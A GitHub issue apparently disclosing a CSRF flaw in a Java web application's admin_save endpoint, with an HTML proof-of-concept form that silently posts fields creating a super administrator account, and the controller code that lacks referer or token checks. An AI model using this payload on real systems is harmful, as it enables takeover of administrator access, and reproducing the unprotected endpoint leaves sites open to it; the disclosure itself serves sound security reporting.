Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can add the administrator account (/system/admin/admin_save) #8

Open
diazraelwang opened this issue Dec 23, 2020 · 0 comments

Comments

@diazraelwang
Copy link

The Add administrator Function is not check referer and token

PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/system/admin/admin_save" method="POST">
      <input type="hidden" name="adminName" value="Diazrael" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="repassword" value="123456" />
      <input type="hidden" name="nickName" value="Diazrael" />
      <input type="hidden" name="roleId" value="272835742965968896" />
      <input type="hidden" name="email" value="Diazrael&#64;admin&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Problematic code:

//处理和保存管理员信息
    @PostMapping("/admin_save")
    @ResponseBody
    public DataVo addAdminSave(@Valid Admin admin, BindingResult result){
        DataVo data = DataVo.failure("操作失败");
        try {
            if (result.hasErrors()) {
                List<ObjectError> list = result.getAllErrors();
                for (ObjectError error : list) {
                    return DataVo.failure(error.getDefaultMessage());
                }
                return null;
            }
            data = adminService.addAdmin(admin);
        } catch (Exception e) {
            data = DataVo.failure(e.getMessage());
        }
        return data;
    }

A super administrator account has been added successfully
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant